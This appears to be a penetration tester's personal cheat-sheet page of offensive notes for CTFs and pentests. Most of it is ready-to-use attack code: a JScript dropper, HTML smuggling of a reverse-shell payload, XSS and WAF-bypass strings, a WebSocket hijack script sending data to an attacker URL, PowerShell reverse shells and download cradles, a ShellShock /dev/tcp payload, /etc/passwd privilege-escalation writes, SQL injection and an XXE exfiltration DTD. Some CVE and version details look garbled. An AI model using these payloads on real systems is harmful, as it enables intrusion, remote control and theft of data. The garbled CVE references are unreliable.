Cristian Cornea

Notes

JScript (.js) Dropper

var url = "" !!! URL with the target file
var Object = WScript.CreateObject('MSXML2.XMLHTTP');

Object.Open('GET', url, false);
Object.Send();

if (Object.Status == 200)
{
    var Stream = WScript.CreateObject('ADODB.Stream');

    Stream.Open();
    Stream.Type = 1;
    Stream.Write(Object.ResponseBody);
    Stream.Position = 0;

    Stream.SaveToFile("!!! INSERT HERE THE FILE NAME", 2);
    Stream.Close();
}

var r = new ActiveXObject("WScript.Shell").Run("!!! INSERT HERE THE FILENAME");

HTML Smuggling (download automatically malicious file through JavaScript

<html>
    <body>
        <script>
          function base64ToArrayBuffer(base64) {
    		  var binary_string = window.atob(base64);
    		  var len = binary_string.length;
    		  var bytes = new Uint8Array( len );
    		  for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); }
    		  return bytes.buffer;
      		}
      		
      		var file ='' !!! BASE64 encoded payload (reverse shell)
      		var data = base64ToArrayBuffer(file);
      		var blob = new Blob([data], {type: 'octet/stream'});
      		var fileName = ''; !!! The filename
      		
      		var a = document.createElement('a');
      		document.body.appendChild(a);
      		a.style = 'display: none';
      		var url = window.URL.createObjectURL(blob);
      		a.href = url;
      		a.download = fileName;
      		a.click();
      		window.URL.revokeObjectURL(url);
        </script>
    </body>
</html>

Special XSS Payload (obfuscated)

<img src=1 oNeRrOr=alert`1`>

Cross-Site Websocket Hijacking

Works when websocket session is only identified by a static cookie or something unpredictable

Script (to store on external attacker side):
<script>
  var ws = new WebSocket('wss://your-websocket-url');
  ws.onopen = function() {
    ws.send("READY");
  };
  ws.onmessage = function(event) {
    fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});
  };
</script>

Host Header Injection to Manipulate Forgot Password

Works in case when the password reset functionality delivers reset password tokens to the email inbox of your target account
Create Burp collaborator client/Request Bin client/Email client
Change the host header to that domain

Localhost (especially for SSRF) bypass blacklist

change from localhost/127.0.0.1 to 127.1

WAF Bypass

<img src=x onerror="window['al'+'ert'+'']('WAF Bypassed')"> </img>

x86 Msfvenom Encoders (good ones!)

x86/shikata_ga_nai
x86/fnstenv_mov

TMUX Hijacking

tmux -S *session path* 
Example: tmux -S /.devs/dev_sess

Hidden Windows Text Stream

Find:

dir /R

Read:

more < hm.txt:root.txt:$DATA

DirtyCOW Exploit (Linux Kernel version from 2.6.22 to 3.9)

https://github.com/FireFart/dirtycow/blob/master/dirty.c

Oracle Enumeration TNS Listener (port 1521)

https://github.com/quentinhardy/odat

Also check HackTheBox Silo writeup for more references

Buffer Overflow Bad Chars

"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

JS Meterpreter Payload

msfvenom -p <payload > LHOST=<ip> LPORT=<port> -f js_le -e generic/none

Compile on Linux for Windows x86

i686-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32

From MSSQL Injection to RCE

https://www.tarlogic.com/en/blog/red-team-tales-0x01/

Windows Kernel Vulnerabilities Finder - Sherlock (PowerShell)

https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1

PowerShell one-liners (incl. file transfers)

https://www.puckiestyle.nl/

Much Better PowerShell Reverse Shell One-Liner

powershell -NoP -NonI -W Hidden -Exec Bypass "& {$ps=$false;$hostip='IP';$port=PORT;$client = New-Object System.Net.Sockets.TCPClient($hostip,$port);$stream = $client.GetStream();[byte[]]$bytes = 0..50000|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$cmd=(get-childitem Env:ComSpec).value;$inArray=$data.split();$item=$inArray[0];if(($item -eq '$ps') -and ($ps -eq $false)){$ps=$true}if($item -like '?:'){$item='d:'}$myArray=@('cd','exit','d:','pwd','ls','ps','rm','cp','mv','cat');$do=$false;foreach ($i in $myArray){if($item -eq $i){$do=$true}}if($do -or $ps){$sendback=( iex $data 2>&1 |Out-String)}else{$data2='/c '+$data;$sendback = ( &$cmd $data2 2>&1 | Out-String)};if($ps){$prompt='PS ' + (pwd).Path}else{$prompt=(pwd).Path}$sendback2 = $data + $sendback + $prompt + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()}"

Post-Exploitation Enumerate all users of Domain

net user /Domain

Windows XP SP0/SP1 Privilege Escalation:

https://sohvaxus.github.io/content/winxp-sp1-privesc.html

SUID Flag on /usr/bin/cp command Privilege Escalation

1. echo "bob:\$1\$-itnite\$VRvGqpGVibx/r9NPdLLTF1:0:0:root:/root:/bin/bash" >> /tmp/passwd
2. /usr/bin/cp /tmp/passwd /etc/passwd
3. su - bob (Password: bob)

Writable /etc/passwd Privilege Escalation

echo root::0:0:root:/root:/bin/bash > /etc/passwd

su

Bypass robots.txt "You are not a search engine. Permission denied."

Set User-Agent to "User-Agent: Googlebot/2.1 (+http://www.googlebot.com/bot.html)"

ShellShock PHP < 5.6.2

curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/ATTACKER IP/PORT 0>&1'  http://VICTOM/cgi-bin/admin.cgi

Active Directory Users & Groups Enumeration

net user /domain
net group /domain

Tunelling on Windows

Using plink.exe within PuTTY project folder

Windows Architecture and Version

systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"

Windows Service Start Mode

wmic service where caption="SERVICE" get startmode

Windows check permissions over a file/executable with 'icacls'

icacls "C\full_path\file.exe"

Permissions: F - full access M - modify access RX - read & execute access R - read access W - write-only access

Powershell Running Services

Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_.State -like 'Running'}

Client-Side .hta (HTML-based Internet Explorer only) Code Execution

<html>
	<body>
		<script>
			var c= 'cmd.exe'
			new ActiveXObject('WScript.Shell').Run(c);
		</script>
	</body>
</html>

Fingerprinting Client-Side Victim

https://github.com/fingerprintjs/fingerprintjs2

Scan Security Headers

https://securityheaders.com/

PowerShell to retrieve Active Directory objects (including deleted)

Get-ADObject

Decode LDAP Passwords

https://dotnetfiddle.net/2RDoWz

mysql command line alternative

mysqldump

TTY Shell that works almost every time on Linux

/usr/bin/script -qc /bin/bash /dev/null

Kerberos check for valid usernames or bruteforce user/pass with kerbrute

kerbrute

https://github.com/TarlogicSecurity/kerbrute

Crawls web pages for keywords

cewl

TeamViewer Privilege Escalation -> CVE-2019-189888

meterpreter > run post/windows/gather/credentials/teamviewer_passwords

PowerShell Reverse Shell

$client = New-Object System.Net.Sockets.TCPClient('192.168.0.0',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

$sm=(New-Object Net.Sockets.TCPClient('192.168.0.0',4444)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}

Pull the shell:

powershell.exe -c "IEX (New-Object Net.WebClient).DownloadString('SHELL URL')"

Wget Alternative for Windows in PowerShell

$client = new-object System.Net.WebClient
$client.DownloadFile("URL","Local Download Path")

CVE-2019-10-15 Sudo < 1.2.28 Privilege Escalation

sudo -u#-1 /bin/bash

https://www.foregenix.com/blog/serious-vulnerability-discovered-in-adminer-tool

Alternate data streams of empty or incomplete file on SMB

allinfo *file*

SMB Recursively List Files

recurse on ls

Telnet > Netcat

When connecting to a service, where possible, choose TELNET over Netcat

/etc/update-motd.d Privilege Escalation

https://blog.haao.sh/writeups/fowsniff-writeup/

SSH into Victim without password

From the attacker machine generate RSA keypair: ssh-keygen -t rsa
Copy the public key (id_rsa.pub) into the .ssh/authorized_keys file of the victim
SSH with the -i argument (id_rsa)

Really Good Privilege Escalation Scripts

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite

XMPP Authentication Crack

import base64
import hashlib
import hmac
import itertools

charset = "_abcdefghijklmnopqrstuvwxyz"

initial_message = "n=,r="
server_first_message = "r=,s=,i="
server_final_message_compare = "v="
r = server_first_message[2:server_first_message.find('s=')-1]
s = server_first_message[server_first_message.find('s=')+2:server_first_message.find('i=')-1]
i = server_first_message[server_first_message.find('i=')+2:]

for passlen in range(1,3):
	print "test passlen %d" % passlen
	for k in itertools.permutations(charset, passlen):
		password = "koma" + "".join(k)
		salt = base64.b64decode(s)
		client_final_message_bare = 'c=biws,r=' + r
		salt_password = hashlib.pbkdf2_hmac('sha1', password, salt, int(i))
		auth_message = initial_message + ',' + server_first_message + ',' + client_final_message_bare
		server_key = hmac.new(salt_password, 'Server Key', hashlib.sha1).digest()
		server_signature = hmac.new(server_key, auth_message, hashlib.sha1).digest()
		server_final_message = 'v=' + base64.b64encode(server_signature)
		if server_final_message == server_final_message_compare:
			print "found the result"
			print password
			h = hashlib.new('sha1')
			h.update(password)
			print h.hexdigest()
			exit(-1)

CTF Docs

https://github.com/welchbj/ctf/tree/master/docs

Test for LDAP NULL BIND

ldapsearch -H ldap://host:port -x -s base '' "(objectClass=*)" "*" +

Extract VBA Script from document

https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php

Decode Rubber Ducky USB .bin payloads

https://ducktoolkit.com/decode#

Crack Android lockscreen from system files (gesture.key)

https://github.com/KieronCraggs/GestureCrack

XOR Analysis

https://github.com/hellman/xortool

Cryptanalysis

https://github.com/nccgroup/featherduster

RSA Cracking Tools

https://github.com/Ganapati/RsaCtfTool
https://github.com/ius/rsatool

Morse Code Audio Decode

https://morsecode.world/international/decoder/audio-decoder-adaptive.html

Text to 21 Common Ciphers

https://v2.cryptii.com/text/select

Crypto Example Challs

https://asecuritysite.com/encryption/ctf?mybutton=

Shift in Python

with open('FILENAME') as f:
    msg = f.read()
    for x in range(256):
        print ''.join([chr((ord(y) + x) % 256) for y in msg])

Predict encoding type

https://gchq.github.io/CyberChef/#recipe=Magic(3,false,false,'')

Get data, process and respond over a socket

import socket
import re


clientsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
clientsocket.connect(('IP', PORT))
data = clientsocket.recv(1024)
print data
result = re.sub('[^0-9]', '', data) #Retrieve the digits (or numbers) only from input
print result
clientsocket.send(str(result))
data = clientsocket.recv(1024)
print data

Extract domain names & hosts from PCAP

Domain Names

tshark -r *PCAP* -Y 'dns' -T fields -e dns.qry.name | sort -u > dns.txt

Hosts

tshark -r *PCAP* -Y 'tls.handshake.extensions_server_name' -T fields -e tls.handshake.extensions_server_name | sort -u > hosts.txt

Manual UNION SQLite Injection

Table

1' union all select 1,tbl_name,3 FROM sqlite_master WHERE type='table' limit 0,1 --

Columns (as command)

1' union all select 1,sql,3 FROM sqlite_master WHERE type='table' and tbl_name='nameoftable' limit 0,1 --

Values (payload depends on the columns structure)

1' union all select 1,"nameofcolumn",3 FROM "nameoftable" limit 2,1 --

SQL Injection Little Tips

-- -> Linux --+ -> Windows %23 (#) -> Hash %2527 (') -> bypass urldecode(urldecode(htmlspecialchars(, ENT_QUOTES)));

Manual UNION SQL Injection

Table

1' union select (select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()),2#

Columns

1' union select (select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='nameoftable'),2#

Values

1' union select (select nameofcolumn from nameoftable limit 0,1),2#

Using Newline

admin %0A union %0A select %0A 1,database()#
           or
admin %0A union %0A select %0A database(),2#

Bypass preg_replace

ununionion select 1,2%23
     or
UNunionION SEselectLECT 1,2,3%23

Known Plaintext ZIP

Download pkcrack

https://www.unix-ag.uni-kl.de/~conrad/krypto/pkcrack/download1.html

! Before using, it must be built from source

Syntax

./pkcrack -C encrypted.zip -c file -P plaintext.zip -p file

Python Functions

Files: https://www.w3schools.com/python/python_ref_file.asp Strings: https://www.w3schools.com/python/python_ref_string.asp Keyworks: https://www.w3schools.com/python/python_ref_keywords.asp Random: https://www.w3schools.com/python/module_random.asp

PHP Functions

Files: https://www.w3schools.com/php/php_ref_filesystem.asp Directories: https://www.w3schools.com/php/php_ref_directory.asp Errors: https://www.w3schools.com/php/php_ref_error.asp Network: https://www.w3schools.com/php/php_ref_network.asp Misc: https://www.w3schools.com/php/php_ref_misc.asp

PHP Jail Escape

With file_get_contents()

print file_get_contents('flag.txt');

With readfile()

echo readfile("flag.txt");

With popen()

popen("vi", "w");

:r flag.txt
   or
:!/bin/bash

With highlight_file()

highlight_file(glob("flag.txt")[0]);
   or
highlight_file(glob("fl*txt")[0]);

With highlight_source()

highlight_source("flag.txt");
   or
highlight_source(glob("*")[4]);

With Finfo()

new Finfo(0,glob(hex2bin(hex2bin(3261)))[0]);

XPATH Dump

https://example.com/accounts.php?user=test"]/../*%00&xpath_debug=1

LFI Retrieve File without executing it

https://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php

Useful PCAP Reader

chaosreader

ZIP Format Signatures

HEADER

50 4B 03 04 14

FOOTER

50 4B 05 06 00

JWT KID Value Exploitation

Sign with public file from server

kid: public/css/file.css

wget file.css from target

manipulate token using jwt_tool and sign it with file.css

SQL Injection

kid: test' UNION SELECT 'key';--

manipulate token using jwt_tool and sign it using the secret -> 'key'

Blind XXE to SSRF

ON TARGET

<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "*HOST ADDRESS OF DTD FILE (preferably on github)*">
<foo>&e1;</foo>

INSIDE DTD FILE

<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM '*RANDOM HTTP HOST (like https://requestbin.com/)*/%p1;'>">
%p2;

Hidden terminal input history

find . -name .bash_history -exec grep -A 1 '^passwd' {} \;

Search file by name pattern

find -name "*PATTERN*" 2>/dev/null

Search string

grep -r "STRING" / 2>/dev/null

Check SUDO privileges/rights

sudo -l

PreviousCert Recommendations & Paths NextPT Cheatsheets - ChronosPK

Last updated 2 years ago

hashtagNotes

hashtagJScript (.js) Dropper

hashtagHTML Smuggling (download automatically malicious file through JavaScript

hashtagSpecial XSS Payload (obfuscated)

hashtagCross-Site Websocket Hijacking

hashtagHost Header Injection to Manipulate Forgot Password

hashtagLocalhost (especially for SSRF) bypass blacklist

hashtagWAF Bypass

hashtagx86 Msfvenom Encoders (good ones!)

hashtagTMUX Hijacking

hashtagHidden Windows Text Stream

hashtagDirtyCOW Exploit (Linux Kernel version from 2.6.22 to 3.9)

hashtagOracle Enumeration TNS Listener (port 1521)

hashtagBuffer Overflow Bad Chars

hashtagJS Meterpreter Payload

hashtagCompile on Linux for Windows x86

hashtagFrom MSSQL Injection to RCE

hashtagWindows Kernel Vulnerabilities Finder - Sherlock (PowerShell)

hashtagPowerShell one-liners (incl. file transfers)

hashtagMuch Better PowerShell Reverse Shell One-Liner

hashtagPost-Exploitation Enumerate all users of Domain

hashtagWindows XP SP0/SP1 Privilege Escalation:

hashtagSUID Flag on /usr/bin/cp command Privilege Escalation

hashtagWritable /etc/passwd Privilege Escalation

hashtagBypass robots.txt "You are not a search engine. Permission denied."

hashtagShellShock PHP < 5.6.2

hashtagPrivilege Escalation through SeImpersonatePrivilege permission (JuicyPotato)

hashtagMemcached Pentest & Enumeration

hashtagTunneling Post-Exploitation (PortForwarding) through Chisel

hashtagActive Directory Users & Groups Enumeration

hashtagTunelling on Windows

hashtagWindows Architecture and Version

hashtagWindows Service Start Mode

hashtagWindows check permissions over a file/executable with 'icacls'

hashtagPowershell Running Services

hashtagClient-Side .hta (HTML-based Internet Explorer only) Code Execution

hashtagFingerprinting Client-Side Victim

hashtagScan Security Headers

hashtagPowerShell to retrieve Active Directory objects (including deleted)

hashtagDecode LDAP Passwords

hashtagmysql command line alternative

hashtagTTY Shell that works almost every time on Linux

hashtagKerberos check for valid usernames or bruteforce user/pass with kerbrute

hashtagCrawls web pages for keywords

hashtagTeamViewer Privilege Escalation -> CVE-2019-189888

hashtagPowerShell Reverse Shell

hashtagWget Alternative for Windows in PowerShell

hashtagCVE-2019-10-15 Sudo < 1.2.28 Privilege Escalation

hashtagAdminer Database Management Tool Exploit Bypass Login

hashtagAlternate data streams of empty or incomplete file on SMB

hashtagSMB Recursively List Files

hashtagTelnet > Netcat

hashtag/etc/update-motd.d Privilege Escalation

hashtagSSH into Victim without password

hashtagReally Good Privilege Escalation Scripts

hashtagXMPP Authentication Crack

hashtagCTF Docs

hashtagTest for LDAP NULL BIND

hashtagExtract VBA Script from document

hashtagDecode Rubber Ducky USB .bin payloads

hashtagCrack Android lockscreen from system files (gesture.key)

hashtagXOR Analysis

hashtagCryptanalysis

hashtagRSA Cracking Tools

hashtagMorse Code Audio Decode

hashtagText to 21 Common Ciphers

hashtagCrypto Example Challs

hashtagShift in Python

hashtagPredict encoding type

hashtagGet data, process and respond over a socket

hashtagExtract domain names & hosts from PCAP

hashtagManual UNION SQLite Injection

hashtagSQL Injection Little Tips

hashtagManual UNION SQL Injection

hashtagKnown Plaintext ZIP

hashtagPython Functions

hashtagPHP Functions

hashtagPHP Jail Escape

hashtagXPATH Dump

hashtagLFI Retrieve File without executing it